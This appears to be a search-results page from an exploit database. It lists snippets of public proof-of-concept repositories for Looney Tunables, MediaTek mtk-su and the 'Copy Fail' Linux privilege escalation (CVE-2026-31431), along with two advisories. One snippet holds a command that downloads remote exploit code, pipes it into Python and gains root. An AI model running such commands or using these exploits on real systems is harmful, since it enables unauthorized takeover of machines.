6893 matches found
CVE-2023-4911
CVE-2023-4911 This is a PoC for CVE-2023-4911 "Looney Tunables" that exploits a bug in the glibc dynamic loader's GLIBCTUNABLES environment variable parsing function parsetunables. This is a rewrite of the C PoC's into a pure python approach. I did this to make it easier to customize the exploit...
CVE-2026-43499-T807D
T807D Final Artifacts — Source One-to-One Correspondence Recovery Package Generated: 2026-08-08 Conclusion This directory has organized the complete popsicle source tree, necessary header files, embedded su payload, production binaries, and runtime scripts that can be recovered from the current...
mtk_su
MTK SU MTK SU is a LPE for CVE-2020-0069. This exploit was tested on a TCL LX A502DL with a MediaTek MT6739 SoC running Android 8.1.0. Build mkdir build cd build export ANDROIDNDK= cmake -DCMAKETOOLCHAINFILE="$ANDROIDNDK?/build/cmake/android.toolchain.cmake" -DANDROIDABI="armeabi-v7a"...
AutomatedRoot
AutomatedRoot Root MediaTek devices using mtk-su exploit CVE-2020-0069. Requirements Python 3.9 or newerin %PATH% for Windows. ADB in %PATH% for Windows. The CVE-2020-0069 PoC mtk-su. Usage Download the mtk-su binaries from the MediaTek's SU XDA page and move them to their corresponding folders...
mtk-su-reverse-cve-2020-0069
mtk-su just some of my notes String table get decompressed string table by using binwalk -Xe stringtabledump dump from address in idb 0x1F098 compressed size: 1260 if you want the idb open an issue with your email and i'll send it. it's a good starting point if you want to re-write the exploit...
cve-2026-31431
CVE-2026-31431 This document describes a public Python exploit related to the CVE-2026-31431 vulnerability. The code demonstrates the exploitation of the flaw using primitives from the Linux AFALG subsystem, AEAD cryptographic operations, and memory manipulation via splice, with the goal of...
CVE-2026-31431
AFALG su memory‑patch exploit research A compact Python script that exploits an AFALG‑related kernel vulnerability to patch the su binary in memory and escalate privileges. This is provided for educational and research purposes only. ⚠️ Do not use this on any system you do not own or without...
Linux-CopyFail-C-Version-CVE-2026-31431
Linux CopyFail- C Version - CVE-2026-31431 Clean C version of Copy Fail CVE-2026-31431 - Linux Local Privilege Escalation exploit using AFALG + authencesn + splice primitive. Overwrites the page cache of /usr/bin/su with a tiny setuid shellcode to gain root privileges. Educational proof-of-concep...
copy-fail-python
copyfailsu.py Python port of badsectorlabs/copyfail-go CVE-2026-31431. Linux only; requires Python 3.10+ os.splice. How it gets root important This tool does not use the /etc/passwd page-cache trick. It overwrites the page cache of the setuidsu binary with embedded shellcode same payloads as the ...
copy-fail-CVE-2026-31431
CVE-2026-31431 — Copy Fail Linux kernel local privilege escalation via AFALG + splice page-cache overwrite For authorized security research, penetration testing, and educational purposes only. Do not use against systems you do not own or have explicit written permission to test. Technical Writeup...
CVE-2026-31431-exploit
CVE-2026-31431 WARNING These Linux LPE exploit implementations are runtime-destructive. They overwrite the live page-cache view of privileged targets such as: su PAM configuration files any file passed into patch mode This is usually not a normal persistent on-disk edit, but it does change runtim...
TEST-CVE-2026-31431
TEST-CVE-2026-31431 oc new-app -n default https://github.com/gmeghnag/TEST-CVE-2026-31431 oc rsh -n default deployment/test-cve-2026-31431 sh-5.1$ id uid=10011001 gid=0root groups=0root sh-5.1$ curl -s https://copy.fail/exp | python3.12 && su root@test-cve-2026-31431-78f6d9cc97-n7d5j / id uid=0ro...
copy-fail-go
Copy Fail - CVE-2026-31431 - golang version ⚠️ WARNING: This program is highly dangerous and experimental. Manual cleanup is required to clear the exploit. Use at your own risk! Technical Writeup original repo run check /usr/bin/su before run: user@pc:$ hexdump -n 300 -x /usr/bin/su 0000000 457f...
CVE-2026-31431-rs
CVE-2026-31431 PoC copyfail Structure src/ ├── main.rs Exploit: AFALG + splice to overwrite /bin/su └── bin/ └── payload.rs Payload Self-contained nostd binaries with zero runtime dependencies: poc-rs: 4.1 KB payload embedded via includebytes! payload: 1.7 KB Build Requires Rust 1.85+: cargo buil...
CVE-2020-0069_poc
Description This repository contains the materials we used to investigate CVE-2020-0069 on a Xiaomi Redmi 6a with a Mediatek SoC MT6762M. There are three programs: kernelrw.c a C program allowing to read/write kernel memory poc.sh a shell script syscallhook.c a C library that can be used to trace...
copyfail-deconstructed
copyfail-deconstructed Easy-to-understand version of CVE-2026-31431, a privilege escalation technique that allows anybody to become root. The original proof-of-concept is found here: https://github.com/theori-io/copy-fail-CVE-2026-31431, but is heavily compressed and minified so it can have as...
copyfail-go
CopyFail Go La maggior parte degli LPE su Linux necessitano di una finestra di race o di un offset specifico del kernel. Copy Fail è un difetto logico lineare — non necessita di nessuno dei due. Lo stesso script Python da 732 byte binario Go statico compromette ogni distribuzione Linux rilasciata...
Astra Linux – Vulnerability in Linux 5.10, Linux, Linux 5.15
In the Linux kernel, the following vulnerability has been resolved: nilfs2: fixed a kernel-infoleak in nilfsioctlwrapcopy The ioctl helper function nilfsioctlwrapcopy, which exchanges a metadata array to/from user space, may copy uninitialized buffer regions to user space memory for read-only ioc...
SUSE SLES12: glib2-devel / glib2-devel-static / glib2-lang / glib2-tools / etc (SUSE-SU-2026:4348-1)
The remote SUSE Linux SLES12 / SLESSAP12 host has packages installed that are affected by a vulnerability as referenced in the SUSE-SU-2026:4348-1 advisory. This update for glib2 fixes the following issue: - CVE-2026-15588: GDBusServer pre-authentication DoS via unbounded SASL line buffering...
